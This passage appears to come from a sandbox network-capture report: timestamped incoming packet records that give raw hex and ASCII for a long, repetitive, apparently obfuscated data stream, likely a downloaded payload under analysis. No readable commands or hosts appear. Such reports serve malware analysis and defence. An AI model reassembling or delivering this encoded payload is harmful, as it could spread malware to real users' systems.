2021-10-29 18:30:03 UTC	2681	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 6b 59 20 78 20 52 59 20 78 Data Ascii: x RY x RY x RY x kO x RY x RR x RY x RY x RY x RY x tY x RY x tE x RY x OxE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RR x OOt x RY x RY x RY x RY x kO x RY x tE x RY x OxE x tE x kY x RY x
2021-10-29 18:30:03 UTC	2682	IN	Data Raw: 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: tk x RY x RY x RQ x RY x RY x RY x Rt x kO x RY x OOQ x Rt x RY x tE x RY x RY x RY x RY x tY x OxE x Rk x RY x tE x RY x OxR x RY x RY x RY x RY x OOQ x RY x tt x RY x OxE x Rt x kQ x RY x RY x RY x Rk x kQ x RY x OOQ x Rt x RY x tK x OOQ x RY x RY x RY
2021-10-29 18:30:03 UTC	2683	IN	Data Raw: 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 74 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: RY x kO x RY x RY x RY x Rt x OxE x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RQ x RY x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 18:30:03 UTC	2684	IN	Data Raw: 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x kO x kO x RY x RY x tY x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x tR x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:30:03 UTC	2686	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 Data Ascii: x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x Rk x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x R
2021-10-29 18:30:03 UTC	2687	IN	Data Raw: 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: x kO x kO x RY x RY x tR x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tt x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 18:30:03 UTC	2688	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 Data Ascii: x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x RQ x OxE x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY
2021-10-29 18:30:03 UTC	2690	IN	Data Raw: 20 78 20 52 59 20 78 20 59 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 6b 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x RY x YE x RY x kO x RY x RY x RY x RY x RY x RY x RY x Rk x Oxt x Rt x OxE x tE x RY x OOO x OxE x RY x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x OxY x RY x OOY x Rt x RY x tK x kQ x Rt x RY x RY x Rk x Oxt x RR x RY x RY x RY x
2021-10-29 18:30:03 UTC	2691	IN	Data Raw: 78 20 4f 4f 59 20 78 20 74 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 74 20 78 20 52 59 20 78 20 74 52 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 74 20 78 20 52 59 Data Ascii: x OOY x tE x OxE x tE x RY x tR x RY x tE x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x kt x Rt x kO x Rt x RY x tR x tE x RR x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x OxQ x RY x OxE x Rt x kt x RY
2021-10-29 18:30:03 UTC	2692	IN	Data Raw: 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: RQ x RY x RY x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x RY x RY x Rt x OxE x RY x RY x RY x RY x OxE x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x RY x RY x R
2021-10-29 18:30:03 UTC	2694	IN	Data Raw: 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 Data Ascii: Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x KE x RY x kx x Kt x Kt x Kt x OxE x Rk x Kt x Kt x Kt x Yo x RY x Kt x Kt x Kt x YR x RY x to x Kt x Kt x KE x RY x RR x Kt x Kt x Kt x RY x RY x kx x
2021-10-29 18:30:03 UTC	2695	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 18:30:03 UTC	2696	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 18:30:03 UTC	2698	IN	Data Raw: 59 52 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 4f 4f 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 4f 20 78 20 4f 78 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 59 78 20 78 20 4f 78 6f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 78 20 78 20 74 74 20 78 20 6b 45 20 78 20 59 4b 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f Data Ascii: YR x Kt x YR x OOt x YK x Kt x YR x OxO x Oox x Kt x YR x OxO x OOQ x Kt x YR x tY x OOo x Kt x YR x tO x OxQ x Kt x YY x Yx x Oxo x OxQ x OxQ x tK x kk x RY x RY x RY x RY x RY x RY x RY x RY x Yx x tt x kE x YK x kQ x RQ x OxE x OOQ x kQ x RQ x OxE x OO
2021-10-29 18:30:03 UTC	2699	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 74 20 78 20 4f 78 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 6f 6f 20 78 20 4f 78 52 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 59 52 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4b 74 20 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kk x KQ x Yt x Oxo x kt x tx x Qx x Ooo x OxR x tx x Oox x Qx x YR x OOY x OOk x RY x Kt x YR x Kt x
2021-10-29 18:30:03 UTC	2700	IN	Data Raw: 20 78 20 59 6f 20 78 20 74 59 20 78 20 4f 78 59 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 20 6b 52 20 78 20 59 74 20 78 20 74 6b 20 78 20 6b 52 20 78 Data Ascii: x Yo x tY x OxY x kO x kQ x RQ x OxE x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tk x kR x kR x Yt x tk x kR x kR x Yt x tk x kR x
2021-10-29 18:30:03 UTC	2702	IN	Data Raw: 6b 74 20 78 20 74 51 20 78 20 4f 78 78 20 78 20 6b 59 20 78 20 74 6b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 4f 78 51 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 4f 6b 20 78 20 6b 59 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 6b 4f 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 4f 4f 6f 20 78 20 52 6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 4f 4f 4b 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 59 20 78 20 59 59 20 78 20 74 51 20 78 20 4b 45 20 78 20 4f 4f 6b 20 Data Ascii: kt x tQ x Oxx x kY x tk x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOo x OxQ x Oox x Qt x OOk x kY x OOR x tR x OOk x kY x OOR x tR x OxE x kK x kO x Kk x OOQ x Qt x tQ x OxR x OOo x Rk x QQ x YO x OOK x kk x tk x Ooo x Ooo x OOY x YY x tQ x KE x OOk
2021-10-29 18:30:03 UTC	2703	IN	Data Raw: 45 20 78 20 4f 4f 45 20 78 20 74 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 51 51 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 4f 6f 4f 20 78 20 74 4b 20 78 20 6b 52 20 78 20 51 6b 20 78 20 6b 52 20 78 20 6b 59 20 78 20 74 59 20 78 20 74 4b 20 78 20 6b 59 20 78 20 51 6b 20 78 20 51 78 20 78 20 4f 4f 45 20 78 20 4f 78 6b 20 78 20 52 74 20 78 20 59 4b 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 4f 45 20 78 20 51 78 20 Data Ascii: E x OOE x tY x OxY x OOO x RY x RY x RY x RY x Oxk x OxQ x kR x QQ x YY x KE x Rk x kx x YY x KE x Rk x kx x RY x tE x RQ x RY x OxQ x OOY x OoO x tK x kR x Qk x kR x kY x tY x tK x kY x Qk x Qx x OOE x Oxk x Rt x YK x OOY x OxO x kO x Kt x YR x OOE x Qx
2021-10-29 18:30:03 UTC	2704	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 6b 74 20 78 20 74 6b 20 78 20 51 51 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 74 78 20 78 20 59 74 20 78 20 51 74 20 78 20 4f 4f 6f 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 59 74 20 78 20 59 78 20 78 20 59 59 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 51 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 51 74 20 78 20 6b 45 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 52 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 Data Ascii: x RY x RY x Oxk x kt x tk x QQ x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x Oxt x tx x Yt x Qt x OOo x to x RR x OxR x Kt x Yt x Yx x YY x Kt x YR x OxQ x kt x Kt x YR x OxO x kK x Kt x YR x Qt x kE x Kt x YR x kt x kO x Kt x YR x kt x tQ x Kt x YR x tY x
2021-10-29 18:30:03 UTC	2706	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
